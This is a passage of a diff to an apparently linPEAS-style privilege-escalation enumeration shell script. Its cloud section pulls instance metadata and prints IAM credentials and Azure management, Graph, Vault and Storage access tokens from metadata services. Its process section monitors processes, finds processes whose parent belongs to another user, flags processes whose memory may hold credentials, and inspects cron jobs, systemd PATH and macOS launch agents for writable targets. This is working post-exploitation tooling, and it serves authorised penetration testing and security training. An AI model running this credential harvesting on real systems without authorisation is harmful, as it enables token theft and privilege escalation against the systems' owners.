elif [ "$(command -v wget)" ]; then
|
||||||
|
do_req='wget -q -O - '
|
||||||
|
else
|
||||||
|
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$do_req" ]; then
|
||||||
|
URL="http://169.254.169.254/metadata"
|
||||||
|
printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
|
||||||
|
printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
|
||||||
|
printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
|
||||||
|
printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
|
||||||
|
printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
|
||||||
|
printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
|
||||||
|
printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
|
||||||
|
printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
|
||||||
|
printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
|
||||||
|
printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$is_ibm_vm" = "Yes" ]; then
|
||||||
|
print_2title "IBM Cloud Enumeration"
|
||||||
|
|
||||||
|
if ! [ "$IBM_TOKEN" ]; then
|
||||||
|
echo "Couldn't get the metdata token:("
|
||||||
|
|
||||||
|
else
|
||||||
|
TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
|
||||||
|
ACCEPT_HEADER="Accept: application/json"
|
||||||
|
URL="http://169.254.169.254/latest/meta-data"
|
||||||
|
|
||||||
|
ibm_req=""
|
||||||
|
if [ "$(command -v curl)" ]; then
|
||||||
|
ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||||
|
elif [ "$(command -v wget)" ]; then
|
||||||
|
ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||||
|
else
|
||||||
|
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$ibm_req" ]; then
|
||||||
|
print_3title "Instance Details"
|
||||||
|
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
|
||||||
|
|
||||||
|
print_3title "Keys and User data"
|
||||||
|
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
|
||||||
|
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
|
||||||
|
|
||||||
|
print_3title "Placement Groups"
|
||||||
|
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
|
||||||
|
|
||||||
|
print_3title "IAM credentials"
|
||||||
|
exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$is_az_vm" = "Yes" ]; then
|
||||||
|
print_2title "Azure VM Enumeration"
|
||||||
|
|
||||||
|
HEADER="Metadata:true"
|
||||||
|
URL="http://169.254.169.254/metadata"
|
||||||
|
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||||||
|
|
||||||
|
az_req=""
|
||||||
|
if [ "$(command -v curl)" ]; then
|
||||||
|
az_req="curl -s -f -H '$HEADER'"
|
||||||
|
elif [ "$(command -v wget)" ]; then
|
||||||
|
az_req="wget -q -O - -H '$HEADER'"
|
||||||
|
else
|
||||||
|
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$az_req" ]; then
|
||||||
|
print_3title "Instance details"
|
||||||
|
exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
|
||||||
|
|
||||||
|
print_3title "Load Balancer details"
|
||||||
|
exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
|
||||||
|
|
||||||
|
print_3title "Management token"
|
||||||
|
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
|
||||||
|
|
||||||
|
print_3title "Graph token"
|
||||||
|
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
|
||||||
|
|
||||||
|
print_3title "Vault token"
|
||||||
|
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
|
||||||
|
|
||||||
|
print_3title "Storage token"
|
||||||
|
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$check_az_app" = "Yes" ]; then
|
||||||
|
print_2title "Azure App Service Enumeration"
|
||||||
|
echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
|
||||||
|
|
||||||
|
HEADER="secret:$IDENTITY_HEADER"
|
||||||
|
|
||||||
|
az_req=""
|
||||||
|
if [ "$(command -v curl)" ]; then
|
||||||
|
az_req="curl -s -f -H '$HEADER'"
|
||||||
|
elif [ "$(command -v wget)" ]; then
|
||||||
|
az_req="wget -q -O - -H '$HEADER'"
|
||||||
|
else
|
||||||
|
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$az_req" ]; then
|
||||||
|
print_3title "Management token"
|
||||||
|
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
|
||||||
|
|
||||||
|
print_3title "Graph token"
|
||||||
|
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
|
||||||
|
|
||||||
|
print_3title "Vault token"
|
||||||
|
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
|
||||||
|
|
||||||
|
print_3title "Storage token"
|
||||||
|
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|||||||
@@ -3,146 +3,205 @@
|
|||||||
#-----) Processes & Cron & Services & Timers (-----#
|
#-----) Processes & Cron & Services & Timers (-----#
|
||||||
####################################################
|
####################################################
|
||||||
|
|
||||||
#-- PCS) Cleaned proccesses
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_2title "Cleaned processes"
|
#-- PCS) Cleaned proccesses
|
||||||
if [ "$NOUSEPS" ]; then
|
print_2title "Cleaned processes"
|
||||||
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
|
||||||
fi
|
|
||||||
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
|
||||||
|
|
||||||
if [ "$NOUSEPS" ]; then
|
if [ "$NOUSEPS" ]; then
|
||||||
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
||||||
pslist=$(print_ps)
|
fi
|
||||||
else
|
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||||
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
|
|
||||||
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
|
||||||
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
|
echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
|
||||||
cpid=$(echo "$psline" | awk '{print $2}')
|
fi
|
||||||
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
|
|
||||||
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
|
if [ "$NOUSEPS" ]; then
|
||||||
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
|
print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||||
|
pslist=$(print_ps)
|
||||||
|
else
|
||||||
|
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
|
||||||
|
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||||
|
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
|
||||||
|
cpid=$(echo "$psline" | awk '{print $2}')
|
||||||
|
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
|
||||||
|
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
|
||||||
|
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
pslist=$(ps auxwww)
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
#-- PCS) Binary processes permissions
|
||||||
|
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||||
|
binW="IniTialiZZinnggg"
|
||||||
|
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
|
||||||
|
if [ -w "$bpath" ]; then
|
||||||
|
binW="$binW|$bpath"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
CURRENT_USER_PIVOT_PID=""
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
|
||||||
|
#-- PCS) Process opened by other users
|
||||||
|
print_2title "Processes whose PPID belongs to a different user (not root)"
|
||||||
|
print_info "You will know if a user can somehow spawn processes as a different user"
|
||||||
|
|
||||||
|
# Function to get user by PID
|
||||||
|
get_user_by_pid() {
|
||||||
|
ps -p "$1" -o user | grep -v "USER"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
|
||||||
|
ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
|
||||||
|
if [ "$ppid" = "0" ]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
ppid_user=$(get_user_by_pid "$ppid")
|
||||||
|
if echo "$user" | grep -Eqv "$ppid_user|root$"; then
|
||||||
|
echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||||
|
if [ "$ppid_user" = "$USER" ]; then
|
||||||
|
CURRENT_USER_PIVOT_PID="$ppid"
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
pslist=$(ps auxwww)
|
|
||||||
echo ""
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
#-- PCS) Binary processes permissions
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
|
#-- PCS) Files opened by processes belonging to other users
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
if ! [ "$IAMROOT" ]; then
|
||||||
binW="IniTialiZZinnggg"
|
print_2title "Files opened by processes belonging to other users"
|
||||||
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
|
print_info "This is usually empty because of the lack of privileges to read other user processes information"
|
||||||
if [ -w "$bpath" ]; then
|
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||||
binW="$binW|$bpath"
|
echo ""
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
#-- PCS) Processes with credentials inside memory
|
||||||
|
print_2title "Processes with credentials in memory (root req)"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
|
||||||
|
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
|
||||||
|
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
|
||||||
|
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
|
||||||
|
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
|
||||||
|
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
|
||||||
|
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
#-- PCS) Different processes 1 min
|
||||||
|
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
|
||||||
|
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
|
||||||
|
temp_file=$(mktemp)
|
||||||
|
if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
|
||||||
|
for i in $(seq 1 1210); do
|
||||||
|
ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
|
||||||
|
done;
|
||||||
|
sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
|
||||||
|
rm "$temp_file";
|
||||||
fi
|
fi
|
||||||
done
|
echo ""
|
||||||
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
#-- PCS) Cron
|
||||||
|
print_2title "Cron jobs"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||||
|
command -v crontab 2>/dev/null || echo_not_found "crontab"
|
||||||
|
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||||
|
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
|
||||||
|
incrontab -l 2>/dev/null
|
||||||
|
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
|
||||||
|
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||||
|
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
|
||||||
|
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
|
||||||
|
atq 2>/dev/null
|
||||||
|
else
|
||||||
|
print_2title "Cron jobs"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||||
|
find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- PCS) Files opened by processes belonging to other users
|
|
||||||
if ! [ "$IAMROOT" ]; then
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_2title "Files opened by processes belonging to other users"
|
if [ "$MACPEAS" ]; then
|
||||||
print_info "This is usually empty because of the lack of privileges to read other user processes information"
|
print_2title "Third party LaunchAgents & LaunchDemons"
|
||||||
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
|
||||||
echo ""
|
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
print_2title "Writable System LaunchAgents & LaunchDemons"
|
||||||
|
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
|
||||||
|
program=""
|
||||||
|
program=$(defaults read "$f" Program 2>/dev/null)
|
||||||
|
if ! [ "$program" ]; then
|
||||||
|
program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
|
||||||
|
fi
|
||||||
|
if [ -w "$program" ]; then
|
||||||
|
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
print_2title "StartupItems"
|
||||||
|
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
|
||||||
|
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
print_2title "Login Items"
|
||||||
|
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
|
||||||
|
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
print_2title "SPStartupItemDataType"
|
||||||
|
system_profiler SPStartupItemDataType
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
print_2title "Emond scripts"
|
||||||
|
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
|
||||||
|
ls -l /private/var/db/emondClients
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
#-- PCS) Processes with credentials inside memory
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_2title "Processes with credentials in memory (root req)"
|
#-- PCS) Services
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
|
if [ "$EXTRA_CHECKS" ]; then
|
||||||
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
|
print_2title "Services"
|
||||||
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
|
print_info "Search for outdated versions"
|
||||||
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
|
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
|
||||||
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
|
echo ""
|
||||||
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
|
fi
|
||||||
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
#-- PCS) Different processes 1 min
|
|
||||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
|
|
||||||
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
|
|
||||||
temp_file=$(mktemp)
|
|
||||||
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
|
|
||||||
echo ""
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
#-- PCS) Cron
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_2title "Cron jobs"
|
#-- PSC) systemd PATH
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
print_2title "Systemd PATH"
|
||||||
command -v crontab 2>/dev/null || echo_not_found "crontab"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
|
||||||
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
|
||||||
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
|
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
|
||||||
incrontab -l 2>/dev/null
|
|
||||||
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
|
|
||||||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
|
||||||
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
|
|
||||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
|
|
||||||
atq 2>/dev/null
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
if [ "$MACPEAS" ]; then
|
|
||||||
print_2title "Third party LaunchAgents & LaunchDemons"
|
|
||||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
|
|
||||||
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
print_2title "Writable System LaunchAgents & LaunchDemons"
|
|
||||||
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
|
|
||||||
program=""
|
|
||||||
program=$(defaults read "$f" Program 2>/dev/null)
|
|
||||||
if ! [ "$program" ]; then
|
|
||||||
program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
|
|
||||||
fi
|
|
||||||
if [ -w "$program" ]; then
|
|
||||||
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
print_2title "StartupItems"
|
|
||||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
|
|
||||||
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
print_2title "Login Items"
|
|
||||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
|
|
||||||
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
|
|
||||||
echo ""
|
